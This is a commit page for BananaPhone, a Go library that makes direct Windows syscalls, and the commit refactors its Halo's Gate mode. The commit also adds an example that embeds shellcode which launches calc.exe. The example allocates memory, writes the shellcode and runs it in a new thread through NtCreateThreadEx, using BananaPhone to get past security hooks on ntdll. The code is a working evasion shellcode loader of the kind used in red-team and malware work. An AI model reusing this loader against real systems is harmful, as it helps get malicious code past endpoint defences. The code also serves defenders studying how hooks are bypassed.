Projects STRLCPY BananaPhone Commits 31d8ab5d
🤬
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■ ■
    example/testhook/main.go
     1 +package main
     2 + 
     3 +import (
     4 + "fmt"
     5 + "syscall"
     6 + "unsafe"
     7 + 
     8 + bananaphone "github.com/C-Sto/BananaPhone/pkg/BananaPhone"
     9 + "golang.org/x/sys/windows"
     10 +)
     11 + 
     12 +var shellcode = []byte{
     13 + //calc.exe https://github.com/peterferrie/win-exec-calc-shellcode
     14 + 0x31, 0xc0, 0x50, 0x68, 0x63, 0x61, 0x6c, 0x63,
     15 + 0x54, 0x59, 0x50, 0x40, 0x92, 0x74, 0x15, 0x51,
     16 + 0x64, 0x8b, 0x72, 0x2f, 0x8b, 0x76, 0x0c, 0x8b,
     17 + 0x76, 0x0c, 0xad, 0x8b, 0x30, 0x8b, 0x7e, 0x18,
     18 + 0xb2, 0x50, 0xeb, 0x1a, 0xb2, 0x60, 0x48, 0x29,
     19 + 0xd4, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76,
     20 + 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48,
     21 + 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57,
     22 + 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f,
     23 + 0x20, 0x48, 0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24,
     24 + 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad,
     25 + 0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75,
     26 + 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe,
     27 + 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff,
     28 + 0xd7,
     29 +}
     30 + 
     31 +//example of using bananaphone to execute shellcode in the current thread.
     32 +func main() {
     33 + kernel32DLL := windows.NewLazySystemDLL("kernel32.dll")
     34 + VirtualProtectEx := kernel32DLL.NewProc("VirtualProtectEx")
     35 + 
     36 + fmt.Println("Mess with the banana, die like the... banana?") //I found it easier to breakpoint the consolewrite function to mess with the in-memory ntdll to verify the auto-switch to disk works sanely than to try and live-patch it programatically.
     37 + bp, e := bananaphone.NewBananaPhone(bananaphone.AutoBananaPhoneMode)
     38 + if e != nil {
     39 + panic(e)
     40 + }
     41 + mess, e := bp.GetFuncPtr("NtCreateThreadEx")
     42 + fmt.Printf("%x\n", mess)
     43 + if e != nil {
     44 + panic(e)
     45 + }
     46 + oldProtect := windows.PAGE_EXECUTE_READ
     47 + _, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(0xffffffffffffffff), uintptr(mess), uintptr(0x100), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
     48 + if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
     49 + fmt.Printf("[!] Error on VirtualProtect:", errVirtualProtectEx, "\n")
     50 + }
     51 + //overwrite in memory function bits to try and trigger bp to do smarts
     52 + bananaphone.WriteMemory([]byte{0x90, 0x90, 0x90, 0x90}, uintptr(mess))
     53 + fmt.Println("Messed up the NTCreateThreadEx function, gl launching calc!")
     54 + //resolve the functions and extract the syscalls
     55 + alloc, e := bp.GetSysID("NtAllocateVirtualMemory")
     56 + if e != nil {
     57 + panic(e)
     58 + }
     59 + protect, e := bp.GetSysID("NtProtectVirtualMemory")
     60 + if e != nil {
     61 + panic(e)
     62 + }
     63 + createthread, e := bp.GetSysID("NtCreateThreadEx")
     64 + if e != nil {
     65 + panic(e)
     66 + }
     67 + fmt.Printf("You seem to have bypassed a hooked function... congrats (sys ID is: %d)", createthread)
     68 + 
     69 + createThread(shellcode, uintptr(0xffffffffffffffff), alloc, protect, createthread)
     70 +}
     71 + 
     72 +func createThread(shellcode []byte, handle uintptr, NtAllocateVirtualMemorySysid, NtProtectVirtualMemorySysid, NtCreateThreadExSysid uint16) {
     73 + 
     74 + const (
     75 + thisThread = uintptr(0xffffffffffffffff) //special macro that says 'use this thread/process' when provided as a handle.
     76 + memCommit = uintptr(0x00001000)
     77 + memreserve = uintptr(0x00002000)
     78 + )
     79 + 
     80 + var baseA uintptr
     81 + regionsize := uintptr(len(shellcode))
     82 + r1, r := bananaphone.Syscall(
     83 + NtAllocateVirtualMemorySysid, //ntallocatevirtualmemory
     84 + handle,
     85 + uintptr(unsafe.Pointer(&baseA)),
     86 + 0,
     87 + uintptr(unsafe.Pointer(&regionsize)),
     88 + uintptr(memCommit|memreserve),
     89 + syscall.PAGE_READWRITE,
     90 + )
     91 + if r != nil {
     92 + fmt.Printf("1 %s %x\n", r, r1)
     93 + return
     94 + }
     95 + //write memory
     96 + bananaphone.WriteMemory(shellcode, baseA)
     97 + 
     98 + var oldprotect uintptr
     99 + r1, r = bananaphone.Syscall(
     100 + NtProtectVirtualMemorySysid, //NtProtectVirtualMemory
     101 + handle,
     102 + uintptr(unsafe.Pointer(&baseA)),
     103 + uintptr(unsafe.Pointer(&regionsize)),
     104 + syscall.PAGE_EXECUTE_READ,
     105 + uintptr(unsafe.Pointer(&oldprotect)),
     106 + )
     107 + if r != nil {
     108 + fmt.Printf("1 %s %x\n", r, r1)
     109 + return
     110 + }
     111 + var hhosthread uintptr
     112 + r1, r = bananaphone.Syscall(
     113 + NtCreateThreadExSysid, //NtCreateThreadEx
     114 + uintptr(unsafe.Pointer(&hhosthread)), //hthread
     115 + 0x1FFFFF, //desiredaccess
     116 + 0, //objattributes
     117 + handle, //processhandle
     118 + baseA, //lpstartaddress
     119 + 0, //lpparam
     120 + uintptr(0), //createsuspended
     121 + 0, //zerobits
     122 + 0, //sizeofstackcommit
     123 + 0, //sizeofstackreserve
     124 + 0, //lpbytesbuffer
     125 + )
     126 + syscall.WaitForSingleObject(syscall.Handle(hhosthread), 0xffffffff)
     127 + if r != nil {
     128 + fmt.Printf("1 %s %x\n", r, r1)
     129 + return
     130 + }
     131 +}
     132 + 
  • ■ ■ ■ ■ ■ ■
    pkg/BananaPhone/bananaphone.go
    skipped 17 lines
    18 18   MemoryBananaPhoneMode PhoneMode = iota
    19 19   //DiskBananaPhoneMode will resolve by loading ntdll.dll from disk, and enumerating to resolve exports and determine the sysid.
    20 20   DiskBananaPhoneMode
    21  - //AutoBananaPhoneMode will resolve by first trying to resolve in-memory, and then falling back to loading from disk if in-memory fails (eg, if it's hooked and the sysid's have been moved).
     21 + //AutoBananaPhoneMode will resolve by first trying to resolve in-memory, and then falling back to loading using halos gate, then on-disk if in-memory fails (eg, if it's hooked and the sysid's have been moved).
    22 22   AutoBananaPhoneMode
    23 23   //HalosGateBananaPhoneMode will resolve by first trying to resolve in-memory, and then falling back to deduce the syscall by searching a non-hooked function
    24 24   HalosGateBananaPhoneMode
    skipped 1 lines
    26 26   
    27 27  //BananaPhone will resolve SysID's used for syscalls while making minimal API calls. These ID's can be used for functions like NtAllocateVirtualMemory as defined in functions.go.
    28 28  type BananaPhone struct {
    29  - banana *pe.File
    30  - isAuto bool
    31  - isHalosGate bool
    32  - memloc uintptr
     29 + banana *pe.File
     30 + mode PhoneMode
     31 + memloc uintptr
    33 32  }
    34 33   
    35 34  //NewBananaPhone creates a new instance of a bananaphone with behaviour as defined by the input value. Use AutoBananaPhoneMode if you're not sure.
    skipped 2 lines
    38 37   - MemoryBananaPhoneMode
    39 38   - DiskBananaPhoneMode
    40 39   - AutoBananaPhoneMode
    41  - - HalosGate
     40 + - HalosGateBananaPhoneMode
    42 41  */
    43 42  func NewBananaPhone(t PhoneMode) (*BananaPhone, error) {
    44 43   return NewBananaPhoneNamed(t, "ntdll.dll", `C:\Windows\system32\ntdll.dll`)
    skipped 11 lines
    56 55   - MemoryBananaPhoneMode
    57 56   - DiskBananaPhoneMode
    58 57   - AutoBananaPhoneMode
    59  - - HalosGate
     58 + - HalosGateBananaPhoneMode
    60 59  */
    61 60  func NewBananaPhoneNamed(t PhoneMode, name, diskpath string) (*BananaPhone, error) {
    62 61   var p *pe.File
    skipped 11 lines
    74 73   }
    75 74   found := false
    76 75   for k, load := range loads { //shout out to Frank Reynolds
    77  - if strings.ToLower(k) == strings.ToLower(diskpath) || strings.ToLower(name) == strings.ToLower(filepath.Base(k)) {
     76 + if strings.EqualFold(k, diskpath) || strings.EqualFold(name, filepath.Base(k)) {
    78 77   rr := rawreader.New(uintptr(load.BaseAddr), int(load.Size))
    79 78   p, e = pe.NewFileFromMemory(rr)
    80 79   bp.memloc = uintptr(load.BaseAddr)
    skipped 8 lines
    89 88   p, e = pe.Open(diskpath)
    90 89   }
    91 90   bp.banana = p
    92  - bp.isAuto = t == AutoBananaPhoneMode
    93  - bp.isHalosGate = t == HalosGateBananaPhoneMode
     91 + bp.mode = t
    94 92   return bp, e
    95 93  }
    96 94   
    skipped 4 lines
    101 99   return 0, err
    102 100   }
    103 101   for _, ex := range exports {
    104  - if strings.ToLower(funcname) == strings.ToLower(ex.Name) {
     102 + if strings.EqualFold(funcname, ex.Name) {
    105 103   return uint64(b.memloc) + uint64(ex.VirtualAddress), nil
    106 104   }
    107 105   }
    skipped 18 lines
    126 124   
    127 125  //GetSysID resolves the provided function name into a sysid.
    128 126  func (b *BananaPhone) GetSysID(funcname string) (uint16, error) {
    129  - r, e := b.getSysID(funcname, 0, false)
     127 + r, e := b.getSysID(funcname, 0, false, b.mode == HalosGateBananaPhoneMode)
    130 128   if e != nil {
    131 129   var err MayBeHookedError
    132  - if b.isAuto && errors.As(e, &err) {
     130 + // error is some other error besides an indicator that we are being hooked
     131 + if !errors.Is(e, &err) {
     132 + return r, e
     133 + }
     134 + 
     135 + //fall back to disk only if in auto mode
     136 + if b.mode == AutoBananaPhoneMode {
    133 137   var e2 error
    134 138   b.banana, e2 = pe.Open(`C:\Windows\system32\ntdll.dll`)
    135 139   if e2 != nil {
    136 140   return 0, e2
    137 141   }
    138  - r, e = b.getSysID(funcname, 0, false)
    139  - } else if b.isHalosGate && errors.As(e, &err) {
    140  - r, e = b.getSysIDFromNeighbor(funcname, 0, false)
     142 + r, e = b.getSysID(funcname, 0, false, false) //using disk mode her
    141 143   }
    142 144   }
    143 145   return r, e
    skipped 1 lines
    145 147   
    146 148  //GetSysIDOrd resolves the provided ordinal into a sysid.
    147 149  func (b *BananaPhone) GetSysIDOrd(ordinal uint32) (uint16, error) {
    148  - r, e := b.getSysID("", ordinal, true)
     150 + r, e := b.getSysID("", ordinal, true, b.mode == HalosGateBananaPhoneMode)
    149 151   if e != nil {
    150 152   var err MayBeHookedError
    151  - if b.isAuto && errors.Is(e, &err) {
     153 + //error that is not hooked error
     154 + if !errors.Is(e, &err) {
     155 + return r, e
     156 + }
     157 + 
     158 + //error just indicated the bytes were not as expected. Continue here.
     159 + if b.mode == AutoBananaPhoneMode {
    152 160   var e2 error
    153 161   b.banana, e2 = pe.Open(`C:\Windows\system32\ntdll.dll`)
    154 162   if e2 != nil {
    155 163   return 0, e2
    156 164   }
    157  - r, e = b.getSysID("", ordinal, true)
     165 + r, e = b.getSysID("", ordinal, true, false) //using disk mode here
    158 166   }
    159 167   }
    160 168   return r, e
    161 169  }
    162 170   
    163 171  //getSysID does the heavy lifting - will resolve a name or ordinal into a sysid by getting exports, and parsing the first few bytes of the function to extract the ID. Doens't look at the ord value unless useOrd is set to true.
    164  -func (b BananaPhone) getSysID(funcname string, ord uint32, useOrd bool) (uint16, error) {
    165  - ex, e := b.banana.Exports()
    166  - if e != nil {
    167  - return 0, e
    168  - }
    169  - 
    170  - for _, exp := range ex {
    171  - if (useOrd && exp.Ordinal == ord) || // many bothans died for this feature (thanks awgh). Turns out that a value can be exported by ordinal, but not by name! man I love PE files. ha ha jk.
    172  - exp.Name == funcname {
    173  - offset := rvaToOffset(b.banana, exp.VirtualAddress)
    174  - b, e := b.banana.Bytes()
    175  - if e != nil {
    176  - return 0, e
    177  - }
    178  - buff := b[offset : offset+10]
    179  - 
    180  - return sysIDFromRawBytes(buff)
    181  - }
    182  - }
    183  - return 0, errors.New("Could not find syscall ID")
    184  -}
    185  - 
    186  -//getSysIDFromNeighboor deduces the syscall ID based on the a neighbor's syscall that is not hooked
    187  -func (b BananaPhone) getSysIDFromNeighbor(funcname string, ord uint32, useOrd bool) (uint16, error) {
    188  - 
     172 +func (b BananaPhone) getSysID(funcname string, ord uint32, useOrd, useneighbor bool) (uint16, error) {
    189 173   ex, e := b.banana.Exports()
    190 174   if e != nil {
    191 175   return 0, e
    skipped 12 lines
    204 188   sysId, e := sysIDFromRawBytes(buff)
    205 189   var err MayBeHookedError
    206 190   // Look for the syscall ID in the neighborhood
    207  - if errors.As(e, &err) {
     191 + if errors.As(e, &err) && useneighbor {
     192 + // big thanks to @nodauf for implementing the halos gate logic
    208 193   start, size := GetNtdllStart()
    209 194   distanceNeighbor := 0
    210 195   // Search forward
    skipped 25 lines
    236 221   }
    237 222   }
    238 223   }
    239  - return 0, errors.New("Could not find syscall ID")
     224 + return 0, errors.New("could not find syscall ID")
    240 225  }
    241 226   
    242 227  //MayBeHookedError an error returned when trying to extract the sysid from a resolved function. Contains the bytes that were actually found (incase it's useful to someone?)
    skipped 15 lines
Please wait...
Page is in error, reload to recover